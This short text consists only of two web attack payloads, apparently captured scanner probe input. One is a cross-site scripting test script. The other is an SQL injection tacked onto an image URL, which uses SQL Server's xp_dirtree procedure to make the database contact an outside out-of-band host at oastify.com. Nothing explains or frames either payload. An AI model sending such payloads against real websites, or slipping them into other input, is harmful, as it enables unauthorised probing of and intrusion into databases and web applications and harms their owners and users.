<script>alert('test');</script>

https://i.ss.com/img/main/transport.png';declare @q varchar(99);set @q='\\k7s1dw45bzjnv37nrj0u89z9107yvqxil9cx4k68v.oasti'+'fy.com\kqz'; exec master.dbo.xp_dirtree @q;--